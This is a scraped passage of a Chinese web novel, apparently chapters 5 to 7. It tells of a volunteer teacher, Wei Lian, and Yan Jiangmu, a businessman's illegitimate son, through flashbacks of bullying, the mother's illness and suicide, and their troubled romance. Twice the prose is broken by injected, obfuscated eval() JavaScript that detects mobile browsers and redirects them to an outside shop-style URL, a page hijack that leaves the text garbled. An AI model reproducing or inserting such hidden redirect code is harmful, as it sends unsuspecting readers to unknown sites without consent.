“不然的话,我就开车一直在后面跟着你。” 5. 回忆 孙伊佳扒饭的手停下来,嘴巴边还挂着一根青菜,瞪大了眼睛:“俺娘嘞......俺不中了。” 魏敛啧了声,有些嫌弃的看她:“好好说话。”也不知道从哪学来的口音。 “你是说,今天下午咱们见到的那个小孩,他妈妈很有可能是那个传说中的江叔叔的外遇?!” “嗯。”魏敛说,“我送他回家,家里确实只有他母亲在。而且,我其实在八年前见过她一面。” 孙伊佳更诧异了:“你咋从来没跟我说过?!” “别人家的糗事,说什么?”魏敛双手抱胸,回忆道,“那天下了补习班,我妈接我回家,中途她被江晖叫去谈事情,所以我就跟着过去了。正好撞见一个女人不顾前台阻拦闯了进去说要见江晖......不过江晖发现及时,没让她闹起来。” 孙伊佳说:“所以你的意思是——” 魏敛笑了声:“样子挺像的。” 孙伊佳喃喃:“卧槽......不会那么巧吧。” 魏敛站起来伸了个懒腰,说:“不过我看这么多年江晖都没管过他们,如果不出什么意外,大概也不会接他们回去了。” 孙伊佳点头:“也是,陈浣阿姨盯着呢。” 要说陈家,是连孙伊佳他爹还有江氏都要礼让三分的。陈浣的背景嫁给江晖,若要真细究起来,倒也称得上下嫁二字。 “但是呢......” 孙伊佳:“?” “没什么。”魏敛说,“这事儿瞒不了太久,你之后会听到风声的。” 孙伊佳自从知道燕江暮很有可能是江晖的私生子后就不大想再见他了,开玩笑,燕江暮只要不被江家认回去,就永远是个惹陈浣厌恶的农村孩子,干嘛去套近乎惹得一身腥。 在这种事上,孙伊佳再傻也掂量的清楚。 魏敛没事拿着个本子在村里闲逛练习速写,他想起昨晚将燕江暮送回家见到他的母亲,看起来是个很温柔的人。可他刚放江暮下来,还没待小孩站稳,女人就将燕江暮扯回身边,笑着说:“真是麻烦老师您送我家孩子回家了,他是在学校惹了什么事吗?” 魏敛低头看了眼燕江暮,说:“没惹事。” “那......” “我不是老师。” 女人瞳孔猛地一缩,她推了燕江暮一把,狠戾道:“不是跟你说了吗?不要跟不三不四的人玩!燕江暮,你怎么能不听妈妈的话?!” 燕江暮小声反驳:“我没有......” 被说‘不三不四’的魏敛挑了挑眉,除了左耳有个耳钉,他很难将这个词与自己联系在一起,从小到大成绩很好,不过最后走了艺术生的路,倒也确实没少被家里那两位骂。 他觉得好笑的笑了声,燕江暮垂下脸,任母亲指着他的头在旁人面前辱骂,好像习以为常。 “要我救你吗?”魏敛的声音似乎从很远处传来,像一缕飘烟,钻进燕江暮的耳朵里。 要我救你吗? 燕江暮像被这句话蛊惑,嘴唇上下碰了一碰,他几乎要问魏敛,如果我说救救我吧,你会在上面丢下绳子给我吗?我抓住后,这根绳子真的能够承受我的重量吗?我向上爬的时候......你会在途中松手吗? 我的上帝,假若我从现在开始诚心祷告,祈求您降临,给予我光芒—— 魏敛攥住了女人的手,制止了她的动作,摆出一个和蔼的微笑,他擅长这样做,在小时候还认为自己可以继承母亲衣钵,同样做一个受人尊敬的律师时,会在镜子前幼稚的摆弄练习着自己的笑脸,以让别人认为他是一个值得信任和依靠的人: “女士,我确实不是老师,因为我只是来这支教的,十天后我会离开,所以称不上是他的老师。” 魏敛说:“他的书包被我不小心划破了,我心存愧意,但天色太晚,不太方便给他买一个新的作为赔偿,所以今天先送他回家。”他笑着摸了摸燕江暮的头,像在安抚一只焦虑的小狗,“明天我会赔偿一个新的,真是非常抱歉,江暮,你能原谅我吗。” 燕江暮在他的话语里渐渐变得平和,像一团冰刺化成了水,然后,他呜咽的嗯了一声。 真爱哭。魏敛在心里评价这个孩子。 学校旁的文具店最多,翌日他估摸着快下课了,便去店里随便挑手拿了一个蓝色书包。 贫穷偏僻的乡村设立的中学并没有许多学生,魏敛避开人流,靠着树干,目光大致扫视着出来的人。 好无聊。他瞧见成群结队的小孩们嬉笑打闹,眼睛黑亮,生命这般蓬勃,对于明天的烦恼似乎永远只有学堂留下的几项任务。 他可能只等了几分钟,已经有些不耐烦了,从烟盒里抽出一支烟点燃,今天风大,魏敛只能微微低头,用手拢住火苗。 同烟一起点燃的,还有尖锐的讥笑声。 “哇,羊脂球的儿子穿破烂来啦!” “哈哈哈,羊脂球的儿子哈哈哈哈。” 魏敛眉头一皱,他抬起头,看见几个男生将燕江暮团团围住,逗猴般的将他推搡来去。燕江暮大概看见他了,毕竟魏敛无论在哪都称得上一句显眼,可燕江暮只是低下头,默不作声地等待着他们今日的戏耍过去。 但魏敛不需要他求救,他想多管闲事便会主动管,假如没那番心思,怎么叫唤他也不会理会。 “你们的语文老师是谁?”他走过去,抓住为首那个嚷嚷最大声的孩子的肩膀,将人转过来,低头神色淡漠地盯着他,“我很喜欢莫泊桑的这本书,所以想问问你们老师是怎么教学生理解这本书的。” 许多人天生欺软怕硬,见到魏敛这样比他们高大还要有气势的,吓得整个人往后缩,偏偏要给自己打气,强装不耐道:“关,关你屁事!你谁啊?” “叫你们走了吗。”魏敛强硬的往下摁这个男生,直到男生朝着自己弯腰鞠躬,魏敛笑了声,“你们几个,知道什么叫看眼色吗?” 被迫鞠躬道歉的男生涨红了脸,偏偏被他一只手压的直不起身,他咬牙切齿道:“不是!你到底谁啊?!我们骂燕江暮,你多管闲事干嘛?!” 魏敛说:“谁说我是来管他的?你没听到吗?我很喜欢《羊脂球》这个短篇,看到你们这种只关心贞,洁的蠢货用她的名字去嘲讽别人,我就忍不住想收拾。” “你神经病啊!!”那人没想到自己只不过用了书里的角色去嘲讽别人,竟然会有人因此刁难他。 魏敛笑了下:“你猜对了,我确实有精神病。还是家族遗传。”他眼神轻轻扫过这群人,两指夹着香烟,拍了拍这个男生的脑袋,道,“最后一遍,鞠躬道歉,听到我的话了吗?”他笑眯眯道,“说实话,我这种精神病人,脾气不是很稳定。” “……” 魏敛漫不经心‘嗯?’了声,似乎在催促。 “……啧,对不起。” “对不起什么。” “不应该用这个名字骂人!可以了吧!”说完又不服气的小声嘟囔,“妈的,神经病。” 魏敛松了力道,这人立马从他手掌下逃脱出来,领头的跑了,剩下的小弟便也稀稀拉拉的跟着溜走。魏敛瞧着他们边回头边骂的背景,把书包丢给了一旁沉默不语的燕江暮。 “拿着,送你的。” 燕江暮才回神般,赶忙跟在他身边,紧紧抱住这个新买的蓝色书包,眼眶微红道:“……谢谢你救了我。” “你想多了。”魏敛轻轻拍了拍他的后脑勺,“我确实是因为他的用词而出手的,跟你无关。”又说,“你每天放学都这样?” 燕江暮说:“也不是每天。” 魏敛又不在意了,点头:“行。” “……”燕江暮抿抿唇,“他们以前也这样说过我妈妈,虽然我知道他们嘴里这个人物很好很善良,可他们本意分明就是在……所以我和他们打了一架,然后老师把我们的家长都喊到了学校。”他低下头,在回想起这段记忆时却不禁靠的离魏敛更近些,“……我妈妈当着所有人的面扇了我一巴掌。” 魏敛停下脚步,吸完最后一点烟,老样子将熄灭的烟蒂塞进了口袋里。硬要说这旮旯点地方哪里好,那就是公共场合能抽烟,可惜没垃圾桶,他又不是个习惯随地丢东西的人。 “所以你就不反抗了?” “嗯。因为就算反抗了也没有用,他们知道我妈妈管得严,而且很多时候……也不会站在我这边。” “你有想过离开她吗。”魏敛低头,发现燕江暮正在抬头看着他,微微笑道,“你知道你亲生父亲是谁吗?” “有想过,但是不行。”燕江暮说,“妈妈一个人把我养那么大,很辛苦。况且她其实很爱我,只是…只是……”他声量小了下去,“只是偶尔会发点脾气,但没关系。” 魏敛问:“如果不久后,你的亲生父亲来接你回另一个家,但代价是你的母亲不能跟着去呢?” “……那一定没好事吧。”燕江暮说,“那么多年他都没管过我们,突然来接我回去,怎么想都不对。” 魏敛了解的点点头:“走吧,送你回家。” 魏敛走了几步,发现燕江暮并没有选择跟上来,回头睨了他一眼,燕江暮抓住浮木似的抱紧怀里的书包,眼神里还没有多年后堪称刻薄的阴沉,他怯懦道:“......你为什么对我这么好?” 魏敛不解道:“我哪里对你好了?” 上次送他回家是孙伊佳安排的,这次来找他是为了进一步证实自己心中猜想的,书包是过来的借口,替他收拾一群不学无术的混混是因为这些人冒犯了他喜欢的书。 江暮说:“你没有和妈妈说这个书包是被别人割坏的,反而把这件事揽到自己身上,还真的给我买了新的......你替我赶跑了那些人,并且没有说为我出头——如果你这样说的话,等你走了,他们会更加变本加厉的欺负我。” 真是误打误撞,魏敛漫不经心的想着,说:“你想多了。”他应该解释一些什么,可又懒得和一个小孩费太多口舌。 江暮才不信,他鼓起勇气跑到他身旁,抓住他的衣角,抬头看他——魏敛的肤色很白,鼻梁像外国人那样挺阔,但整体的长相却并不粗犷,眼睛不是深棕,反而有些淡。江暮想这样的人一看就不会遭遇贫穷,魏敛天生就应该在锦衣玉食的环境里长大,拥有美好的一切。 “你真的只在这里待十天吗?” “嗯。”魏敛宽大的手掌拍了拍江暮的头顶,低头问道,“你想说什么?” “......你是美术生吗?” “说事。” “镇上有很多风景很好的地方,如果你想写生的话,我可以带你去。” 魏敛说:“好好上课。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087945|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天是周六,我不上课。” 魏敛想问你难道不上补习班吗?又反应过来,燕江暮家肯定是没有钱上什么补习班的。 魏敛已经不太爱和生人打交道了,交际圈愈发缩窄,厌倦许多没有必要的社交,所以没有立即回答。 江暮却以为他的沉默是默认,嘴角扬起:“你来找我好吗?明天十二点,就在往我家走的最后那一条分岔路等我。” 魏敛蹙眉:“你没朋友吗?”为什么邀约一个比他大五岁的人出去玩? 江暮抿抿唇,挣扎着说出实话:“......没有。” “......”魏敛想自己的好奇心应该就在送他回家,见到他母亲后终止,现在扯出来一连串的麻烦。 他盯着燕江暮的脸,心想如果江晖能够见他一面,恐怕第一眼就能确认这个孩子是他亲生的,尤其是这双眼睛——江晖的长相是典型的南方人,江南生,江南养,长着一双很标准的桃花眼,说话十分慢条斯理,比起商人,更像一位教书的先生。 他的母亲曾经这样评价江晖:看起来是个很好说话的老实人,其实是只狐狸,得小心别被他带进坑里。 所以才能用这样的脸欺骗了燕江暮的母亲。魏敛犹记得那天下午,女人在江晖轻声细语的安抚下,捂住脸嘶哑哭诉道:“你说过,自己是没有家室的......” 燕江暮的母亲同样出身于这个村镇,她高中肄业,在贫瘠的家乡碌碌无为,后来她的母亲生了病,不得不去大城市打工,因为嗓子很不错,意外捡得一份酒吧驻唱的机会。 在酒吧驻唱的那两年里,一切都在向着好的方向发展,一切又在遇到江晖时毁于一旦。 幻想——每个人都会心存幻想,人是欲望动物,无欲无求的人类在所有宗教里都简称圣人,它们尝试将拥有欲望的人往圣人方向鞭策,不过成功的案例通常不多。 接纳一定程度的欲望不是什么坏事,毕竟如此人才能学会自洽。 燕江暮的母亲很难抵御住江晖的攻势,对方不俗的身世,俊秀的脸蛋,温柔且善解人意,懂得维护一些属于她难以启齿的自尊心。他说自己只是来这出差,客户说有一所酒吧的驻唱人长得漂亮,唱歌还十分好听,便将他带过来看看。 “今夜一听,确实没有夸大的成分。” 江晖会在送她回家时偷偷在她的包里塞下一条项链,等到恋人发现,才笑眯眯地说:“不小心掉在你那了,可以帮我收着吗?当然,如果你能直接收下的话,就更好了。” 她无法相信会有温柔体贴的王子看上小镇出身的她。所以当江晖出现,笑着回答她:“妻子?我并没有妻子。只是家中二老对此看的很紧,我们可以暂时先低调一些。” 燕之琪一头热的扎进了他编织的网里。 如此,慢慢地往幻想里沉沦。 那个时候,她还很年轻。 因此懵懂不明,其实她也是受害者。她只是一味沉浸在梦中——自己或许遇到了一位不在意自己的贫穷,无知,一心一意爱她的人。 燕之琪也曾幻想过自己可以读上一所为了某个观点,能够和老师据理力争的大学,她自由的行走在校园,和室友们并行,讨论着今天的课堂老师竟然点名签到,幸好没有逃课。她抱着书,马尾随着走动而摇摆。 不过现在,燕之琪能抓住的仅剩近在眼前,但又虚无缥缈的‘爱情’。 后来燕之琪随江晖去往a市,托他的关系,在某个公司的前台工作。她住在江晖租的房子里,上着江晖介绍的班,夜晚再亲吻他的唇。 某夜月明星稀,喝醉的江晖与她抵死缠绵,燕江暮便要即将出现在她往后的生命里。 她被陈浣一巴掌扇倒在地的时候,美梦才在这响亮的一声里干脆利落的醒了。 她沉默着回到了她的家乡——这个再不会有人,知道她是那个曾经愚蠢无知到插足进了别人家庭中的女人。 燕之琪经常在燕江暮面前这般嘲弄自己,然后紧紧攥住燕江暮的肩膀,哽咽道:“虽然妈妈是一个没文化的人,但你要努力,知道吗?你一定要考上好大学,让…那些人知道,我的儿子比他们都要优秀。妈妈会尽全力托举你,燕江暮,知不知道?” 燕江暮看向她的眼神,惶恐而又迷茫,就像年轻时的她,燕之琪流下泪水:“你不能……走上我的老路!” 她如此期盼望子成龙,好像咽不下多年前那一口怨气——江晖戏耍欺骗她,陈浣鄙夷侮辱她,偌大的a市,似乎连一个无助的女人都容纳不下。 — “妈妈,你这段时间的脸色总是很不好,是哪里不舒服吗?”燕江暮关切的看着她,“需不需要休息一天?” 燕之琪端坐在镜前,用檀木梳梳理自己的头发。梳子是燕之琪的母亲送给她的,说自己的女儿有一头漂亮的秀发,应该配上一把好梳子,自己时日无多,却没什么积蓄,只能送上这些不值钱的小玩意儿。 燕江暮本想告诉燕之琪,今天中午他要带上次那位来家里的支教老师去逛一逛,他的作业已经写完了,所以不会耽误学习,晚饭会按时回来吃的。 但这些话被不停掉落在地的头发打断了。那些干枯的头发像不歇的雨脱离人的身体,燕之琪却恍若未闻,燕江暮手脚冰凉,缓慢的眨了眨眼,蹲下来仰头对燕之琪轻声说:“……妈妈,我们去一趟医院吧。” 6. 出院 “不然的话,我就开车一直在后面跟着你。” “你认真的?” 江暮笑了下:“魏敛,我们之间,不认真的只有你。” “……” 我叹了口气,没再和他在大马路边过多纠缠。我正要往后面坐,江暮就推开了副驾驶的车门,说:“后面脏。” 我无所谓道:“行。” 可当我真的坐上他的副驾,江暮似乎又不大高兴,他紧紧的抿着唇,眉头微蹙,我淡淡道:“想说什么。” “……你不问为什么后面脏吗?” 我不想跟他起冲突,便顺着他的话问:“为什么。” 江暮露出一个胜利的微笑:“因为不久前我和一个男人在这做了。” 我愣了一下:“车里吗?你?”以我对他的了解,江暮应该是不太习惯在这种地方做事。不过三年过去了,三年,不长不短,但能够改变太多东西,说不定江暮也是其中一员。 我保持着一位前男友的风度——不见面时就像死了一样,见了面时更要像具尸体,我短暂的想了想改怎么回答他,最后也只能说:“啊……那挺不错的,证明你身体好。” 江暮闻言却突然猛的踩下刹车,我还没来得及坐稳,他竟然还好意思问我:“你到底什么意思?” 我揉揉额头,有些心烦:“行了,我下车吧,你车品实在不好。” “魏敛!!!” 他大声地喊我名字,几乎歇斯底里。 “魏敛!!魏敛!”他吭哧吭哧的喘着气,像破旧的风箱,胸口不断起伏,手背青筋凸起,他一次又一次念我的名字,声音一次比一次小,到最后听起来就像在哽咽,沙哑道,“魏…敛。” 我转头,静静地看着他,我知道他此时此刻很痛苦,我也知道,他是故意说后面的座椅脏,我更知道,他压根没有和男人做过,他那样说,只不过是在为被抛弃的这三年里的自己,争一口气。 他大概想尝试在我脸上看到不甘,愤怒,伤心,亦或是后悔。 可我给他的回答竟然是——那挺不错,证明你身体好。 滑稽的回答,仿佛在讥讽他毫不重要的不忿。 我说:“江暮,所以你看,我们分手是正确的。” “……”他沉默几息,忽然笑了起来,他边笑边弓下腰,将脸埋进手掌中,背上凸出的蝴蝶骨尖锐得像要刺破他这身价值不菲的高定西装。 我的手指不受控制的抽动。 老实一点。我对自己说,你想要安慰他吗?你和江暮不合适,他年少丧母,江晖和陈浣对他本就不好,江暮需要一个能够全身爱他的,健康的人。而不是你,魏敛。 你带给他的只有无止尽的痛苦,就像现在。 你不是一个合格的儿子,也不是一个合格的朋友,更勿论成为一个合格的恋人。 “我们没分手。” 我听见江暮这样说。 他的头抬起,转过来盯着我,我以为他哭了,其实没有,不过惨红的眼眶看起来也没差,他一字一顿,非常认真地说:“我们没分手,魏敛。” “……”我捏捏眉心,“我应该没记错,在进入疗养院前,我已经和你提过分手了。” “我没答应。” “分手不是离婚,完全可以单方面告知。” 他咬了咬下嘴唇,咬的很重,我看到有血珠渗出。江暮试探的攥住我的衣角,就像以前那样,他声音颤抖道:“我们没分手,我没答应。” 他说:“我骗你的,我没和别人做过,我只是想看你生气,这样我会以为你还在乎我。”他越说眼眶越红,语气恳求道,“我求求你……别这样对我……” 见他这幅模样,我不知道该如何回答,干脆眼不见心不烦的闭上眼睛。 然后我感觉到有水滴落在我的手背上,江暮捧起我的手,放在他的额头,哭着道:“我错了,以后我不过生日了,好不好?你去哪都没关系,想什么时候去看伊佳姐都没关系的,魏敛哥……”他浑身发抖,好似极其痛苦,“魏敛,你怎么能丢下我三年,你连见我一面都不愿意……你怎么能……” 江暮确实有很多次去过疗养院想要探望我,前几次用权势压人,医院不答应也不行,但每次我都锁着门,拿背影对他,一句话也不回答,从不正面瞧他一眼。 他大声质问过,愤怒指责我过,最后轻轻拍门,小孩子一样,哭着说是他错了,他错了很多很多,他以后会改的。 但江暮真的错了吗?孙伊佳跳河的那天,正是江暮的生日。从那天起,我再也没有庆祝过他的生日。 明明我知道,他是最期待这一天的,因为他非常非常的爱我,无论我给他什么惊喜,他都会感到十分幸福。 “到底我是你的恋人还是孙伊佳是?!” 我还记得那天我从墓园回来,看到江暮一个人孤零零的坐在客厅的沙发上,前面的茶几放着一盒生日蛋糕,蜡烛已经燃尽,蜡油凝固在奶白色的蛋糕表面。电视机正播放某个综艺,那些嘉宾们欢快的游戏着,哈哈大笑起来,衬得江暮的背影愈发孤寂。 可能那个时候,我是心虚的。 否则我无法解释,为什么我目不斜视的越过他,连声‘我回来了’的招呼也不打。 “回来了?”江暮扭过身,漆黑的眼珠沉沉的看向我。 我的脚步顿了下:“……嗯。” 他站起来:“饿吗?” “江暮。”我甚至不敢直视他的眼睛,“……生日快乐。” “……” “我先去洗个澡。” “魏敛哥。”江暮从背后抱住我,头抵在我的肩膀,小声说,“明年,可以吗?” 他想和魏敛一起度过这一天,想听魏敛为他唱生日歌,想在魏敛的注视下许愿,想同魏敛一起吹灭生日蜡烛。 我已经忘记我那个时候是怎么回答他的了,大概不大好听,我的大脑下意识的掩埋了这个回答,似乎也明白,那句话并不好,以至于江暮听完后眼泪便落下了。 “难道以后,我都不能和你一起好好过个生日了吗?” 江暮抓紧我的衣服,哭诉道:“一年两年没关系,五六年我更等得起,可是哥,你打算一辈子都这样吗?” 我没法忘记孙伊佳跟我说:魏敛,还会有比这更坏的事吗? 有的,孙伊佳,你的死带走了你过往的一切努力,以及你未来可能会获得幸福的无数可能。然后,你还将没有及时救下你的迷茫与痛苦,通通抛给了本就患病的我。 我的静默仿佛是默认了江暮的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087946|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我想,如果那个时候我能告诉他不是的,未来的某一天,我将会走出来,只不过我需要很长的时间,是否有回旋的余地? 不过这也在伤害江暮,不是吗?这对他不公平。 “你喜欢孙伊佳。”江暮的心在无尽的沉默中充满了恨意。 我烦躁的皱起眉头:“少说胡话。” “胡话?”他念叨,“胡话?!魏敛,孙伊佳的死跟你有一丝一毫的关系吗?!就算她是你最好的朋友,但你需要惦念她至如此吗?!你看到她的照片就魂不守舍,你以为我不知道?” 我越听越不像话:“江暮,我比你大五岁,还和孙伊佳从小玩到大,你知道这什么意思吗?” 江暮咬咬牙,那时他多少岁?二十二?一个可以为自己的行为负责,但仍然会被所有人认为‘尚是年轻’的年纪,他看着面前这个他爱到辗转难眠的男人,嫉妒的火越烧越旺—— “我知道,我知道你和她青梅竹马,可我江暮这一生想要的只有母亲和你!!但我妈妈自杀了,就在我眼前,在家里那根梁上!魏敛,从那之后我就只想和你在一起一辈子,这很奢侈吗?” 他疯狂又恶毒道:“她父母双亡,撑不过就想去死,我的经历难道比她好到哪里去吗?!结果现在她死也不安生!!” “江暮!!”我脑子里嗡的一声,几乎控制不住自己的行为,双手用力掐住他的脖子,“你怎么能——” “魏敛哥,你怎么能……” 江暮颤抖的声音使我从三年前的回忆里挣脱开,我有些愣神的看着眼前这个正在祈求我的江暮。 他瘦了许多,左耳不知道什么时候也打了个耳钉,他握着我的手,因而我能感觉到他的手心很粗糙,像是有疤痕。 我心下一沉,抓住他的手腕转过来,掰直他微蜷的手指,见到他手心长满了大小不一的烫疤。 “……” 江暮握住拳头不让我看,想扯回自己的手。 “这是什么时候弄的。”我自认为很冷静的问他。 “……不小心。” 我问:“自己弄的,还是别人?” 江暮却说:“跟我一起回去,好吗?屋子很空,我想和你一起住。” 我微微蹙眉,撩起眼帘警告似的看了他一眼——我不大喜欢江暮在我面前转移话题,会让我觉得他竟然会不受掌控。 江暮被我这一眼看得很慌张,但过一会儿脸又红了,他小声嘟囔:“……不是说分手了么?还管我。” 我不带起伏的喊他名字:“江暮。” “……你不能这样,哥哥。”江暮控诉说,“你不能一边不想和我在一起,一边还吓我。” 我说:“我仅仅是叫了你的名字。”是你太不惊吓。 “既然你认为我们分手了,那我们就重新在一起吧,好吗?”江暮靠我近了点,“这次我不会让你生气了,魏敛哥,你对我怎么样都没关系,我都愿意。”他几乎要黏在我身上了,“我这辈子要是没有你,肯定会死的很早的。” 他侧脸贴近我的胸膛,仿佛在听我的心跳,然后仰起头,眼神迫切而真诚的注视我,像一只粘人的宠物般:“趁我还算年轻,模样还能看,我们重新在一起不行吗?” 我头疼的再次叹了一口气。 7. 回忆 在一起后的很多时候,魏敛拿江暮其实没有办法,对方太擅长在他面前示弱,通过示弱的手段达成目的,江暮赌魏敛会心软,因为他明白,自己在他心里可能有点儿特别。 至于有多特别,江暮又拿不太准,可能只有一丁点,可能比一丁点多一些,不过没有太大区别。所以他只能求魏敛,翻来覆去的告诉他——你是我的全世界,别丢下我。 江暮没猜错,他在魏敛心里的确特殊,且非常特殊,因为魏敛一直认为,是他把江暮从一个火坑推向另一个火坑。 魏敛跟随孙伊佳他们下乡的前不久,江家的独子江宸在会所杀了人,手段极其残忍。事情暂时被压了下来,江家和陈家还在打点关系,魏敛母亲所在的律所与江氏集团是深度合作,其人又是律所的创始合伙人,自然是知道这件事。 那个时候所有人,包括魏敛的母亲,都认为江宸能被保下来,最多也就是送到国外避避风头。不过却没想到受害人的父母不想息事宁人,即使陈浣偷偷派人去威胁敲打过他们,以一些不光彩的手段,不过受害人是家中独女,父母也是铁了心要一命换一命。 事情若是被披露,江晖不可能把公司交到一个杀人犯手上,即使江晖和陈浣想,其他股东也不会同意。给外人自然更不可能,然后江晖便动了接江暮回来的心思。 魏敛离开时,母亲隐晦提点过,最近和江宸走得远些,魏敛说正好,孙伊佳约我去乡下支教,我顺趟走走。 他犹记得那条中午他来到约定的地方,见江暮气喘吁吁的跑过来,告诉他对不起,我要和母亲去一趟医院,下次再约可以吗?魏敛说可以。 然后三天过去,江暮不知道从哪弄来他住所的消息,过来找他,说他的母亲检查出了乳腺癌,但是医院的医生建议他们去大城市再复查一次,以免误诊,所以他想借一点钱。 魏敛表情没变,说小朋友,我还没工作。 江暮明显慌了一下。 魏敛又问他你打算借多少? 江暮很扭捏的说,十万,可以吗? 魏敛算了算自己卡里的钱,还行,十万不算很多,他拿自己平时没花完攒下来的零花钱就能给,便道:“我可以给你十万,但抗癌是个长期的过程,如果真的确诊,十万不一定能撑很久。” “但是你父亲一定会有。”那时的魏敛自认为给江暮找了一个靠山,一条出路,“你父亲现在应该多少会管管你,我给你他的号码,你打过去吧。” 江暮紧张的咬住嘴唇:“……我父亲?他有钱……真的吗?” 魏敛笑了下:“他可以毫不眨眼的给你十个十万,如果你对他有用的话,他甚至能毫不犹豫的给你一百个十万。”魏敛抄了江晖的号码给他,“别说是我给你的号码,如果对方问起,你就说是你母亲告诉的。” 江暮双手忐忑的接过这张纸条,看救命稻草似的,心里好像生出一种模糊的光亮,那光亮就在未来。 魏敛倚着门,一手插着兜,一手拿着未点的烟晃呀晃。那天他穿的衣服是一件宽大的黑色帽衫,松松垮垮的套在身上,下面是一条灰色的棉质睡裤,额前的碎发有些挡眼,左耳的耳钉反射着太阳光——这些江暮都记得很清楚。 魏敛看他那副样子,没忍住伸手捏了捏他的脸,打了个哈欠,懒洋洋道:“背着点人问,在钱到手前,别让你妈晓得。” 江暮狠狠地点头,魏敛说什么他都当做圣旨。 圣旨又道:“钱没问到的话,再过来找我,我给你十万,不用还。” 江暮脸红了:“我会还的……” 魏敛拍拍他的脑袋:“江暮,我还记得我曾经问过你一个问题么?” 江暮抬头看他:“什么?” “如果有一天,你父亲过来接你回去,但代价是你的母亲得留在这,又或者说,你不能再见到她。”魏敛说,“现在的你愿意吗?” “……”江暮眨了眨眼,“为什么不能再见到妈妈?” “因为——”魏敛不知道该怎样告诉这个孩子,他其实是私生子这件事,他决定把这个难题丢给江晖去说,“没什么。” 魏敛完全可以帮助江暮度过这个难关,姑且算燕之琪前期治疗需要花费五十万,即使还在大一的魏敛没法立马给他,不过半个月内,他就能全款转过去,这对他来说只是一件微不足道的小事。 但时机却那么巧,江氏此时需要一个流落在外的私生子,而燕之琪又需要良好的治疗环境,魏敛认为这是等价交换。 不过人和物相比,从没有等价交换这一说。 魏敛也不知道自己从什么时候变成了这样。 他离开镇子的那天,江暮跑过来送他,他捏着一张纸条,说上面是他的电话,希望以后还能经常联系。孙伊佳在一旁瞪大了眼睛,一副见了鬼的模样。 魏敛低头看了他一会儿,什么也没说,看着纸条上面的数字,将号码输入到手机里,然后拨了个电话过去。 见江暮慌慌张张的掏出来一个黑色的小灵通,魏敛挂断了电话,他说:“我的电话号码,存好。” 江暮吸了吸鼻子,似乎十分伤感。 “如果你不想联系他的话,就打电话告诉我银行账号,我会依照之前答应过的数额分批转过去。” “呜……”江暮拿袖子擦眼角的泪水,他舍不得魏敛,即使他们只见过三面,不,加上今天的送别,是四面。 四面。 四,是个很不吉利的数字。江暮无厘头的想着。 魏敛是个看起来很冷酷,实则很心软的人。江暮在魏敛蹲下来,抬手用纸巾擦自己泪水的时候这样认为。 “我们……我们会再见面的,呜,对吧魏敛哥哥?”江暮沮丧道。 魏敛说:“你想的话,就会的。” 魏敛离开了。离开前孙伊佳凑过去不知道问了他什么,魏敛偏头低声和她说了几句,就见孙伊佳‘啊’了声,有些怜悯的扭头看了一眼身后的江暮,又叹气摇头。 “车门关好,安全带系好,所有人都到齐了吧?东西没忘带吧?准备发车了。”领队再一次重申。 大巴车缓缓启动,孙伊佳坐在窗户旁十分不舍的和孩子们挥手,末了又打开窗户,探出身大声道:“你们……”她哽咽了下,“你们都知道老师联系方式的!有事没事都可以找我聊天的!知道吗!” “老师!” “孙老师!” “伊佳姐姐!我会想你的!” 孙伊佳听不得这些,眼眶立马红了,连忙坐回去抹眼泪。 魏敛在一旁道:“这么舍不得就留下来陪他们。” “你他妈能说人话吗?!”孙伊佳还正伤感着,听完怒了,朝他吼。 魏敛笑了下:“呦,不继续哭了。” “哎你这人,我发现你实在是——”孙伊佳开骂了。 两人拌嘴的时候车已经开了有半分钟了,魏敛嫌孙伊佳聒噪,吵他睡觉,就想换位置,但人刚往后面的位置走,就瞧见车后面影影绰绰的像是有个孩子在追。 山区的大巴车开的都不快,更何况他们连镇都没离开,速度更是缓慢。不过这还是让魏敛十分意外,他眯着眼仔细辨认,似乎是江暮的样子。 “哎,魏敛!江家那小孩儿在追车哎!”孙伊佳瞪大眼睛,拍拍魏敛,“是不是舍不得你?” “……” 魏敛没回答。 他并不知道,江暮在他离开的那天,因为逃课送他,被学校请了家长。燕之琪当着全校的面打他,她情绪崩溃极了,对一句也不解释辩解的江暮吼道:“你真是个祸害!祸害!我为什么要生你,燕江暮!”她头晕眼花,感觉世界天旋地转,连眼前的江暮都看不大清晰,“你是要……你把我气死就好了,气死就……” 然后扑通一声,栽倒下去。 江暮只有燕之琪一个亲人,十四岁的他站在病床边,一脸迷茫的听着医生沉重且严肃的告诉江暮,他母亲的病情已经十分严重,需要尽快转到市里的医院进行治疗。 “……我知道了。”他讲话时嘴角有点疼,脸颊上还有个巴掌印,看起来有些滑稽。他站在镜子面前洗了把脸,孤零零的呆立许久,然后拨通了江晖的电话。 在燕之琪上吊前,江暮一直以为,癌症是压垮妈妈的最后一根稻草。 但不是的。 有时候,人可能就靠那点仅存的,不可多得的自尊心活着。那点自尊心像最后的脊梁骨,没了这根顶天立地的骨头,天和地就会没了支撑,人活着,但更不如死了。 燕之琪便是这样。 当她醒来时,看到瘦骨嶙峋的江暮在一旁给她守夜,心里又一次涌起愧疚,她哭着说:“对不起啊宝宝,对不起,妈妈不知道怎么了……妈妈对你很坏,是不是。对不起。” 